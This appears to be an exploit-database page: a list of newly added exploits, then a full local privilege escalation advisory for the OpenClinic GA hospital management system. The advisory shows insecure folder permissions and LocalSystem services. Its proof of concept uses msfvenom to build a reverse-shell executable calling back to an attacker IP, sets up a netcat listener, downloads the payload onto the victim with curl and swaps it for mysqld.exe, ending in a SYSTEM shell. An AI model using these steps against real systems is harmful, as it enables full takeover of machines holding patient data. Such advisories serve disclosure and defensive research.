358c35770a
17 changes to exploits/shellcodes Netgear Genie 2.4.64 - Unquoted Service Path OpenClinic GA 5.194.18 - Local Privilege Escalation Gestionale Open 11.00.00 - Local Privilege Escalation Hikvision Web Server Build 210702 - Command Injection WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated) Engineers Online Portal 1.0 - File Upload Remote Code Execution (RCE) Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated) Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated) Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Authentication Bypass Engineers Online Portal 1.0 - 'id' SQL Injection WordPress Plugin Media-Tags 3.2.0.2 - Stored Cross-Site Scripting (XSS) WordPress Plugin Ninja Tables 4.1.7 - Stored Cross-Site Scripting (XSS) Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2) phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
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3.5 KiB
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# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation
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# Date: 2021-07-24
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# Author: Alessandro Salzano
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# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
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# Software Homepage: https://sourceforge.net/projects/open-clinic/
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# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download
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# Version: 5.194.18
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# Tested on: Microsoft Windows 10 Enterprise x64
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Open Source Integrated Hospital Information Management System.
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OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.
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Vendor: OpenClinic GA.
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Affected version: > 5.194.18
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# Details
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# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
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# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
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# with a malicious file that would connect back to an attacking computer giving system level privileges
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# (nt authority\system) due to the service running as Local System.
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# While a low privilege user is unable to restart the service through the application, a restart of the
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# computer triggers the execution of the malicious file.
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The application also have unquoted service path issues.
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(1) Impacted services.
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Any low privileged user can elevate their privileges abusing MariaDB service:
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C:\projects\openclinic\mariadb\bin\mysqld.exe
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Details:
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SERVICE_NAME: OpenClinicHttp
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : OpenClinicHttp
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DEPENDENCIES : Tcpip
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: Afd
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SERVICE_START_NAME : NT Authority\LocalServic
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--------
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SERVICE_NAME: OpenClinicMySQL
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : OpenClinicMySQL
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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(2) Folder permissions.
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Insecure folders permissions issue:
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icacls C:\projects\openclinic
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C:\projects\openclinic Everyone:(I)(OI)(CI)(F)
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NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
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# Proof of Concept
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1. Generate malicious .exe on attacking machine
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msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
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2. Setup listener and ensure apache is running on attacking machine
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nc -lvp 4242
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service apache2 start
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3. Download malicious .exe on victim machine
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type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"
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4. Overwrite file and copy malicious .exe.
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Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak
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Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
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5. Restart victim machine
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6. Reverse Shell on attacking machine opens
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C:\Windows\system32>whoami
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whoami
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nt authority\system |